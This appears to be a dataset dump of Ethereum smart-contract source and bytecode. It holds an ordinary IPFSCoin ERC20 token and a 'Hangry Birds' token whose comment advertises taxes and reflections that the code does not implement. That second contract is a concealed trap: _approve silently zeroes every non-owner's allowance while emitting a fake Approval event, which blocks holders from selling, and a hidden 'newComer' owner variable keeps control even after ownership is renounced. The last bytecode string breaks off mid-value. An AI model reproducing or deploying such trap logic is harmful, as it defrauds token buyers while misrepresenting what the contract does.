/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TFTOKEN is StandardToken, Ownable {
// Constants
string public constant name = "IPFSCoin";
string public constant symbol = "IPFS";
uint8 public constant decimals = 4;
uint256 public constant INITIAL_SUPPLY = 200000000 * (10 ** uint256(decimals));
uint256 public constant FREE_SUPPLY = 50000000 * (10 ** uint256(decimals));
uint256 public nextFreeCount = 888 * (10 ** uint256(decimals)) ;
uint256 public constant decr = 0 * (10 ** 1) ;
mapping(address => bool) touched;
function TFTOKEN() public {
totalSupply_ = INITIAL_SUPPLY;
balances[address(this)] = FREE_SUPPLY;
emit Transfer(0x0, address(this), FREE_SUPPLY);
balances[msg.sender] = INITIAL_SUPPLY - FREE_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY - FREE_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function () external payable {
if (!touched[msg.sender] )
{
touched[msg.sender] = true;
_transfer(address(this), msg.sender, nextFreeCount );
nextFreeCount = nextFreeCount - decr;
}
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
} | 0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101ce578063095ea7b31461025c57806318160ddd146102b657806323b872dd146102df5780632ff2e9dc14610358578063313ce567146103815780635f56b6fe146103b057806366188463146103d357806370a082311461042d578063715018a61461047a5780638da5cb5b1461048f57806395d89b41146104e45780639858cf1914610572578063a9059cbb1461059b578063c1d9e273146105f5578063d73dd6231461061e578063d9f2ac8a14610678578063dd62ed3e146106a1578063f2fde38b1461070d575b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156101cc576001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506101bf3033600454610746565b6000600454036004819055505b005b34156101d957600080fd5b6101e16109af565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610221578082015181840152602081019050610206565b50505050905090810190601f16801561024e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561026757600080fd5b61029c600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109e8565b604051808215151515815260200191505060405180910390f35b34156102c157600080fd5b6102c9610ada565b6040518082815260200191505060405180910390f35b34156102ea57600080fd5b61033e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ae4565b604051808215151515815260200191505060405180910390f35b341561036357600080fd5b61036b610e9e565b6040518082815260200191505060405180910390f35b341561038c57600080fd5b610394610eaf565b604051808260ff1660ff16815260200191505060405180910390f35b34156103bb57600080fd5b6103d16004808035906020019091905050610eb4565b005b34156103de57600080fd5b610413600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ffd565b604051808215151515815260200191505060405180910390f35b341561043857600080fd5b610464600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061128e565b6040518082815260200191505060405180910390f35b341561048557600080fd5b61048d6112d6565b005b341561049a57600080fd5b6104a26113db565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104ef57600080fd5b6104f7611401565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053757808201518184015260208101905061051c565b50505050905090810190601f1680156105645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561057d57600080fd5b61058561143a565b6040518082815260200191505060405180910390f35b34156105a657600080fd5b6105db600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061144b565b604051808215151515815260200191505060405180910390f35b341561060057600080fd5b61060861166a565b6040518082815260200191505060405180910390f35b341561062957600080fd5b61065e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611670565b604051808215151515815260200191505060405180910390f35b341561068357600080fd5b61068b61186c565b6040518082815260200191505060405180910390f35b34156106ac57600080fd5b6106f7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611871565b6040518082815260200191505060405180910390f35b341561071857600080fd5b610744600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118f8565b005b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561079357600080fd5b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561081f57600080fd5b610870816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610903816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6040805190810160405280600881526020017f49504653436f696e00000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b2157600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b6e57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610bf957600080fd5b610c4a826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5090919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cdd826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dae82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460ff16600a0a630bebc2000281565b600481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1057600080fd5b6000811415610f9757600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610f9257600080fd5b610ffa565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610ff957600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561110e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111a2565b6111218382611a5090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133257600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f495046530000000000000000000000000000000000000000000000000000000081525081565b600460ff16600a0a6302faf0800281565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561148857600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156114d557600080fd5b611526826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115b9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60045481565b600061170182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600081565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561195457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561199057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611a5e57fe5b818303905092915050565b60008183019050828110151515611a7c57fe5b809050929150505600a165627a7a723058200bf78fef3486ee9514dd0d1ebecf6804905f222632fb137a8f3df7cd71831a290029 | {"success": true, "error": null, "results": {}} | 691 |
0x27f4465c4124b8b640b01d70f4dc0cd86167825a | /**
*Submitted for verification at Etherscan.io on 2021-12-10
*/
/**
Nine Tails, [10 дек. 2021 г., 18:47:14]:
...SOCIALS
🐦 https://twitter.com/Hangrybirdseth
🛩 https://t.me/Hangrybirds
🌐 https://hangrybirds.io/
📃 https://docs.hangrybirds.io
Total Supply: 1,000,000,000,000 (10^12)
Max Wallet at launch: 1%
Max Sell at launch: ..5%
Snipers: Rekt
Buy Taxes:
5% Reflections
5% Marketing & Development
2% Treasury for liquidity and buyback
Sell Taxes:
8% Reflections
2% Marketing & Development
5% Treasury for liquidity and buyback
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract HangryBirds is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'Hangry Birds ' ;
string private _symbol = 'HANGRY ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffff